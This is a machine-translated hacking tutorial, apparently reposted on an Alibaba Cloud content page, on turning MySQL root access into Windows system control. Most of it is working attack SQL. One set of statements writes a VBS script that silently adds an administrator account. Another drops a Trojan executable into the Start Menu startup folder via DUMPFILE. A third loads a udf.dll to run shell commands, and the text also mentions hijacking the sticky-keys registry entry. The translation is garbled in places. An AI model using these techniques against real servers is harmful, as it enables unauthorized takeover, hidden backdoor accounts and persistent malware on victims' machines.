Eliminate all root

Source: Internet
Author: User

Author: FoolishQiang address: http://hi.baidu.com/foolishqiang/

I have already written a lot about MYSQL Elevation of Privilege, but some of my friends are connected to ROOT, but cannot execute CMD. Return whatever execution:

An error occurred while querying the database. Check whether the SQL statement create function using shell returns string soname udf. dll syntax is correct. Cant open shared library udf. dll (errno: 0)

////////////////////////////////////

We are using server components for VBS elevation:

///////////////////

Construction statement:

/////////////////

Create table a (cmd text );

Insert into a values ("set wshshell = createobject (" "wscript. shell "")");

Insert into a values ("a = wshshell. run (" "cmd.exe/c net user foolishqiang/add" ", 0 )");

Insert into a values ("B = wshshell. run (" "cmd.exe/c net localgroup administrators foolishqiang/add" ", 0 )");


///////////////////////

I added a parameter: 0, which means the execution is performed silently. No echo. 0 indicates that the CMD window is not displayed and the operation is quiet.

////////////////////////////////////

The above method generally adds a MYSQL Elevation of Privilege that I previously wrote to solve the Elevation of Privilege problem. We can also write an exe file in hexadecimal notation.

///////////////////////////

Create table a (cmd BLOB );

Insert into a values (CONVERT (Trojan hexadecimal code, CHAR ));

Select * from a into dumpfile C: \ Documents ents and Settings \ All Users \ Start Menu \ Program start \ foolishqiang.exe

Note: The path must be written \.

//////////////////////////////////////// ///////

It should be said that the summary of root includes dll Elevation of Privilege. Vbs has been authorized. Exe and Linx Mysql BackDoor.

If necessary. Dry Point root

And MIX. DLL.

Create table temp_mix (abc longblob );
Insert into temp_mix values (load_file (D: \ udf. dll); // path
Select * from temp_mix into dumpfile C: \ Windows \ system32 \ udf. dll;
Create function MyCmd returns string soname udf. dll;
Select MyCmd (net user );
Drop table if exists temp_mix;

This is generally not used in many cases.

/////////////////

We can also construct statements to hijack registry shift. Instead of replacement (with protection ). In this way, you can also raise the right.

I have already mentioned the Root Privilege Escalation method.

You can't laugh

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.